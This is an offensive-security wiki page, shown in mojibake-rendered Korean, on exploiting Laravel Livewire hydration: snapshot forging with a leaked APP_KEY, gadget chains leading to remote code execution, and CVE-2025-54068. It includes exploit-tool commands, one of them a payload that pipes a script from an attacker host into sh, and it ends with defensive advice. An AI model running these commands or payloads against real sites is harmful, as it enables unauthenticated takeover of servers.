Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Livewire ์ƒํƒœ ๋จธ์‹  ์š”์•ฝ

Livewire 3 ์ปดํฌ๋„ŒํŠธ๋Š” data, memo, ์ฒดํฌ์„ฌ์„ ํฌํ•จํ•˜๋Š” **์Šค๋ƒ…์ƒท(snapshots)**์„ ํ†ตํ•ด ์ƒํƒœ๋ฅผ ๊ตํ™˜ํ•ฉ๋‹ˆ๋‹ค. /livewire/update๋กœ์˜ ๋ชจ๋“  POST๋Š” ์„œ๋ฒ„ ์ธก์—์„œ JSON ์Šค๋ƒ…์ƒท์„ ์žฌํ•˜์ด๋“œ๋ ˆ์ดํŠธ(rehydrate)ํ•˜๊ณ  ๋Œ€๊ธฐ์—ด์— ์žˆ๋Š” calls/updates๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

๋”ฐ๋ผ์„œ APP_KEY(์ด $hashKey๋ฅผ ๋„์ถœํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋จ)๋ฅผ ๊ฐ€์ง„ ์‚ฌ๋žŒ์€ HMAC์„ ์žฌ๊ณ„์‚ฐํ•˜์—ฌ ์ž„์˜์˜ ์Šค๋ƒ…์ƒท์„ ์œ„์กฐํ•  ์ˆ˜ ์žˆ๋‹ค.

๋ณต์žกํ•œ ํ”„๋กœํผํ‹ฐ๋Š” Livewire\Drawer\BaseUtils::isSyntheticTuple()๋กœ ๊ฐ์ง€๋˜๋Š” ํ•ฉ์„ฑ ํŠœํ”Œ๋กœ ์ธ์ฝ”๋”ฉ๋œ๋‹ค; ๊ฐ ํŠœํ”Œ์€ [value, {"s":"<key>", ...meta}]์ด๋‹ค. ํ•˜์ด๋“œ๋ ˆ์ด์…˜ ์ฝ”์–ด๋Š” ๋‹จ์ˆœํžˆ ๊ฐ ํŠœํ”Œ์„ HandleComponents::$propertySynthesizers์—์„œ ์„ ํƒ๋œ synth๋กœ ์œ„์ž„ํ•˜๊ณ  ์ž์‹ ์š”์†Œ๋“ค์— ๋Œ€ํ•ด ์žฌ๊ท€์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•œ๋‹ค:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

์ด ์žฌ๊ท€์  ์„ค๊ณ„๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ํŠœํ”Œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋‚˜ ์žฌ๊ท€ ์ฒ˜๋ฆฌ ์ค‘์ธ ์–ด๋–ค ์ค‘์ฒฉ ํŠœํ”Œ์„ ์ œ์–ดํ•˜๋ฉด Livewire๋Š” ์ผ๋ฐ˜์ ์ธ ๊ฐ์ฒด ์ธ์Šคํ„ด์Šคํ™” ์—”์ง„์ด ๋ฉ๋‹ˆ๋‹ค.

๊ฐ€์ ฏ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ์ œ๊ณตํ•˜๋Š” Synthesizers

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)๊ฐ ์ž์‹์„ ๋ฆฌํ•˜์ด๋“œ๋ ˆ์ดํŠธํ•œ ํ›„ new $meta['class']($value)๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•ฉ๋‹ˆ๋‹ค. ๋ฐฐ์—ด์„ ๋ฐ›๋Š” ์ƒ์„ฑ์ž๋ฅผ ๊ฐ€์ง„ ์–ด๋–ค ํด๋ž˜์Šค๋“  ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฐ ํ•ญ๋ชฉ ์ž์ฒด๊ฐ€ synthetic tuple์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
FormObjectSynth (form)new $meta['class']($component, $path)๋ฅผ ํ˜ธ์ถœํ•œ ๋’ค $hydrateChild๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ž์‹๋“ค๋กœ๋ถ€ํ„ฐ ๋ชจ๋“  public ํ”„๋กœํผํ‹ฐ๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๊ฐœ์˜ ๋А์Šจํ•œ ํƒ€์ž…์˜ ๋งค๊ฐœ๋ณ€์ˆ˜(๋˜๋Š” ๊ธฐ๋ณธ ์ธ์ˆ˜)๋ฅผ ๋ฐ›๋Š” ์ƒ์„ฑ์ž๋งŒ์œผ๋กœ๋„ ์ž„์˜์˜ public ํ”„๋กœํผํ‹ฐ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
ModelSynth (mdl)meta์— key๊ฐ€ ์—†์œผ๋ฉด return new $class;๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์–ด๋–ค ํด๋ž˜์Šค๋„ ์ธ์ž๊ฐ€ ์—†๋Š” ์ƒํƒœ๋กœ ์ธ์Šคํ„ด์Šคํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

synths๊ฐ€ ๋ชจ๋“  ์ค‘์ฒฉ ์š”์†Œ์— $hydrateChild๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ํŠœํ”Œ์„ ์žฌ๊ท€์ ์œผ๋กœ ์Œ“์•„ ์ž„์˜์˜ ๊ฐ€์ ฏ ๊ทธ๋ž˜ํ”„๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

APP_KEY๋ฅผ ์•Œ๊ณ  ์žˆ์„ ๋•Œ ์Šค๋ƒ…์ƒท ์œ„์กฐ

  1. ์ •์ƒ์ ์ธ /livewire/update ์š”์ฒญ์„ ์บก์ฒ˜ํ•˜๊ณ  components[0].snapshot๋ฅผ ๋””์ฝ”๋“œํ•ฉ๋‹ˆ๋‹ค.
  2. ๊ฐ€์ ฏ ํด๋ž˜์Šค๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ค‘์ฒฉ ํŠœํ”Œ์„ ์ฃผ์ž…ํ•˜๊ณ  checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)๋ฅผ ์žฌ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค.
  3. ์Šค๋ƒ…์ƒท์„ ๋‹ค์‹œ ์ธ์ฝ”๋”ฉํ•˜๊ณ  _token/memo๋Š” ๊ทธ๋Œ€๋กœ ๋‘” ์ฑ„ ์š”์ฒญ์„ ์žฌ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

์ตœ์†Œํ•œ์˜ ์‹คํ–‰ ์ฆ๋ช…์€ **Guzzle์˜ FnStream**๊ณผ **Flysystem์˜ ShardedPrefixPublicUrlGenerator**๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ํ•œ ํŠœํ”Œ์€ ์ƒ์„ฑ์ž ๋ฐ์ดํ„ฐ { "__toString": "phpinfo" }๋กœ FnStream์„ ์ธ์Šคํ„ด์Šคํ™”ํ•˜๊ณ , ๋‹ค์Œ ํŠœํ”Œ์€ $prefixes๋กœ [FnStreamInstance]๋ฅผ ์‚ฌ์šฉํ•ด ShardedPrefixPublicUrlGenerator๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•ฉ๋‹ˆ๋‹ค. Flysystem์ด ๊ฐ prefix๋ฅผ string์œผ๋กœ ์บ์ŠคํŒ…ํ•  ๋•Œ PHP๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ __toString callable์„ ํ˜ธ์ถœํ•˜์—ฌ ์ธ์ž ์—†์ด ์ž„์˜์˜ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

ํ•จ์ˆ˜ ํ˜ธ์ถœ์—์„œ ์™„์ „ํ•œ RCE๋กœ

Livewire์˜ ์ธ์Šคํ„ด์Šคํ™” ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ํ™œ์šฉํ•ด, Synacktiv๋Š” phpggc์˜ Laravel/RCE4 ์ฒด์ธ์„ ์ ์‘์‹œ์ผœ ํ•˜์ด๋“œ๋ ˆ์ด์…˜์ด public Queueable ์ƒํƒœ๊ฐ€ ์—ญ์ง๋ ฌํ™”๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๊ฐ์ฒด๋ฅผ ๋ถ€ํŒ…ํ•˜๊ฒŒ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค:

  1. Queueable trait โ€“ Illuminate\Bus\Queueable๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ชจ๋“  ๊ฐ์ฒด๋Š” public $chained๋ฅผ ๋…ธ์ถœํ•˜๋ฉฐ dispatchNextJobInChain()์—์„œ unserialize(array_shift($this->chained))๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  2. BroadcastEvent wrapper โ€“ Illuminate\Broadcasting\BroadcastEvent (ShouldQueue)๋Š” public $chained๊ฐ€ ์ฑ„์›Œ์ง„ ์ƒํƒœ๋กœ CollectionSynth / FormObjectSynth๋ฅผ ํ†ตํ•ด ์ธ์Šคํ„ด์Šคํ™”๋ฉ๋‹ˆ๋‹ค.
  3. phpggc Laravel/RCE4Adapted โ€“ $chained[0]์— ์ €์žฅ๋œ ์ง๋ ฌํ™”๋œ blob์€ PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed๋ฅผ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. Signed::__invoke()๋Š” ๊ฒฐ๊ตญ call_user_func_array($closure, $args)๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ system($cmd)๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  4. Stealth termination โ€“ [new Laravel\Prompts\Terminal(), 'exit'] ๊ฐ™์€ ๋‘ ๋ฒˆ์งธ FnStream callable์„ ์ œ๊ณตํ•˜๋ฉด ์š”์ฒญ์€ ์‹œ๋„๋Ÿฌ์šด ์˜ˆ์™ธ ๋Œ€์‹  exit()๋กœ ์ข…๋ฃŒ๋˜์–ด HTTP ์‘๋‹ต์ด ๊นจ๋—ํ•˜๊ฒŒ ์œ ์ง€๋ฉ๋‹ˆ๋‹ค.

์Šค๋ƒ…์ƒท ์œ„์กฐ ์ž๋™ํ™”

synacktiv/laravel-crypto-killer๋Š” ์ด์ œ ๋ชจ๋“  ๊ฒƒ์„ ์—ฐ๊ฒฐํ•˜๋Š” livewire ๋ชจ๋“œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

์ด ๋„๊ตฌ๋Š” ์บก์ฒ˜ํ•œ ์Šค๋ƒ…์ƒท์„ ํŒŒ์‹ฑํ•˜๊ณ  gadget tuples๋ฅผ ์ฃผ์ž…ํ•œ ๋’ค ์ฒดํฌ์„ฌ์„ ์žฌ๊ณ„์‚ฐํ•˜์—ฌ ์ „์†ก ์ค€๋น„๊ฐ€ ๋œ /livewire/update payload๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.

CVE-2025-54068 โ€“ RCE without APP_KEY

updates๋Š” ์Šค๋ƒ…์ƒท ์ฒดํฌ์„ฌ์ด ๊ฒ€์ฆ๋œ ํ›„์— ์ปดํฌ๋„ŒํŠธ ์ƒํƒœ๋กœ ๋ณ‘ํ•ฉ๋ฉ๋‹ˆ๋‹ค. ์Šค๋ƒ…์ƒท ๋‚ด๋ถ€์˜ ํ”„๋กœํผํ‹ฐ๊ฐ€(๋˜๋Š” ๊ทธ๋ ‡๊ฒŒ ๋ณ€ํ•˜๋ฉด) synthetic tuple์ธ ๊ฒฝ์šฐ, Livewire๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” update ๊ฐ’์œผ๋กœ hydrateํ•˜๋Š” ๋™์•ˆ ํ•ด๋‹น tuple์˜ meta๋ฅผ ์žฌ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. ํƒ€์ž…์ด ์ง€์ •๋˜์ง€ ์•Š์€ public ์†์„ฑ(์˜ˆ: public $count;)์„ ๊ฐ€์ง„ Livewire ์ปดํฌ๋„ŒํŠธ๋ฅผ ์ฐพ๋Š”๋‹ค.
  2. ํ•ด๋‹น ์†์„ฑ์„ []๋กœ ์„ค์ •ํ•˜๋Š” update๋ฅผ ์ „์†กํ•œ๋‹ค. ๋‹ค์Œ snapshot์€ ์ด์ œ [[], {"s": "arr"}]๋กœ ์ €์žฅ๋œ๋‹ค.
  3. ํ•ด๋‹น ์†์„ฑ์ด ๊นŠ๊ฒŒ ์ค‘์ฒฉ๋œ ๋ฐฐ์—ด์„ ํฌํ•จํ•˜๋„๋ก, [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ] ๊ฐ™์€ ํŠœํ”Œ์„ ์ž„๋ฒ ๋“œํ•œ ๋˜ ๋‹ค๋ฅธ updates ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌ์„ฑํ•œ๋‹ค.
  4. ์žฌ๊ท€ ์ฒ˜๋ฆฌ ์ค‘ hydrate()๋Š” ๊ฐ ์ค‘์ฒฉ๋œ ์ž์‹ ์š”์†Œ๋ฅผ ๋…๋ฆฝ์ ์œผ๋กœ ํ‰๊ฐ€ํ•˜๋ฏ€๋กœ, ์™ธ๋ถ€ ํŠœํ”Œ๊ณผ checksum์ด ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์•˜๋”๋ผ๋„ ๊ณต๊ฒฉ์ž๊ฐ€ ์„ ํƒํ•œ synth ํ‚ค/ํด๋ž˜์Šค๊ฐ€ ์ ์šฉ๋œ๋‹ค.
  5. ๊ฐ™์€ CollectionSynth/FormObjectSynth ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ์žฌ์‚ฌ์šฉํ•ด $chained[0]์— phpggc ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ด์€ Queueable gadget์„ ์ธ์Šคํ„ด์Šคํ™”ํ•œ๋‹ค. Livewire๊ฐ€ ์œ„์กฐ๋œ updates๋ฅผ ์ฒ˜๋ฆฌํ•˜๋ฉด dispatchNextJobInChain()๋ฅผ ํ˜ธ์ถœํ•ด APP_KEY๋ฅผ ์•Œ์ง€ ๋ชปํ•œ ์ฑ„ system(<cmd>)์— ๋„๋‹ฌํ•œ๋‹ค.

Key reasons this works:

  • updates๋Š” snapshot checksum์— ํฌํ•จ๋˜์ง€ ์•Š๋Š”๋‹ค.
  • getMetaForPath()๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ weak typing์œผ๋กœ ์ด์ „์— ๊ทธ ์†์„ฑ์„ ํŠœํ”Œ๋กœ ๋งŒ๋“  ๊ฒฝ์šฐ์—๋„, ํ•ด๋‹น ์†์„ฑ์— ์ด๋ฏธ ์กด์žฌํ•˜๋˜ synth ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์‹ ๋ขฐํ•œ๋‹ค.
  • ์žฌ๊ท€์™€ weak typing์„ ๊ฒฐํ•ฉํ•˜๋ฉด ๊ฐ ์ค‘์ฒฉ ๋ฐฐ์—ด์ด ์ƒˆ๋กœ์šด ํŠœํ”Œ๋กœ ํ•ด์„๋˜๋ฏ€๋กœ ์ž„์˜์˜ synth ํ‚ค์™€ ์ž„์˜์˜ ํด๋ž˜์Šค๊ฐ€ ๊ฒฐ๊ตญ hydrate๋กœ ์ „๋‹ฌ๋œ๋‹ค.

Livepyre โ€“ ์—”๋“œํˆฌ์—”๋“œ ์ต์Šคํ”Œ๋กœ์ž‡

Livepyre ๋Š” APP_KEY-less CVE์™€ signed-snapshot ๊ฒฝ๋กœ๋ฅผ ๋ชจ๋‘ ์ž๋™ํ™”ํ•œ๋‹ค:

  • ๋ฐฐํฌ๋œ Livewire ๋ฒ„์ „์„ <script src="/livewire/livewire.js?id=HASH">๋ฅผ ํŒŒ์‹ฑํ•ด ์‹๋ณ„ํ•˜๊ณ , ํ•ด์‹œ๋ฅผ ์ทจ์•ฝํ•œ ๋ฆด๋ฆฌ์Šค์— ๋งคํ•‘ํ•œ๋‹ค.
  • ์ •์ƒ ๋™์ž‘์„ ์žฌ์ƒํ•˜์—ฌ ๊ธฐ๋ณธ ์Šค๋ƒ…์ƒท์„ ์ˆ˜์ง‘ํ•˜๊ณ  components[].snapshot์„ ์ถ”์ถœํ•œ๋‹ค.
  • updates ์ „์šฉ ํŽ˜์ด๋กœ๋“œ(CVE-2025-54068) ๋˜๋Š” phpggc ์ฒด์ธ์„ ํฌํ•จํ•œ ์œ„์กฐ๋œ ์Šค๋ƒ…์ƒท(์•Œ๋ ค์ง„ APP_KEY)์„ ์ƒ์„ฑํ•œ๋‹ค.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check๋Š” ๋น„ํŒŒ๊ดด ํ”„๋กœ๋ธŒ๋ฅผ ์‹คํ–‰ํ•˜๊ณ , -F๋Š” ๋ฒ„์ „ ๊ฒŒ์ดํŒ…์„ ๊ฑด๋„ˆ๋›ฐ๋ฉฐ, -H์™€ -P๋Š” ์ปค์Šคํ…€ ํ—ค๋” ๋˜๋Š” ํ”„๋ก์‹œ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ , --function/--param์€ gadget chain์— ์˜ํ•ด ํ˜ธ์ถœ๋˜๋Š” php ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉ์ž ์ •์˜ํ•ฉ๋‹ˆ๋‹ค.

๋ฐฉ์–ด์  ๊ณ ๋ ค์‚ฌํ•ญ

  • Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
  • Livewire components์—์„œ ์•ฝํ•˜๊ฒŒ ํƒ€์ž…๋œ public properties๋ฅผ ํ”ผํ•˜์„ธ์š”; ๋ช…์‹œ์  ์Šค์นผ๋ผ ํƒ€์ž…์€ ์†์„ฑ ๊ฐ’์ด arrays/tuples๋กœ ๊ฐ•์ œ ๋ณ€ํ™˜๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • Register only the synthesizers you truly need and treat user-controlled metadata ($meta['class']) as untrusted.
  • ์†์„ฑ์˜ JSON ํƒ€์ž…์„ ๋ณ€๊ฒฝํ•˜๋Š” ์—…๋ฐ์ดํŠธ(์˜ˆ: scalar -> array)๋Š” ๋ช…์‹œ์ ์œผ๋กœ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ํ•œ ๊ฑฐ๋ถ€ํ•˜๊ณ , ์˜ค๋ž˜๋œ tuples๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์ง€ ๋ง๊ณ  synth metadata๋ฅผ ๋‹ค์‹œ ํŒŒ์ƒํ•˜์„ธ์š”.
  • Rotate APP_KEY promptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ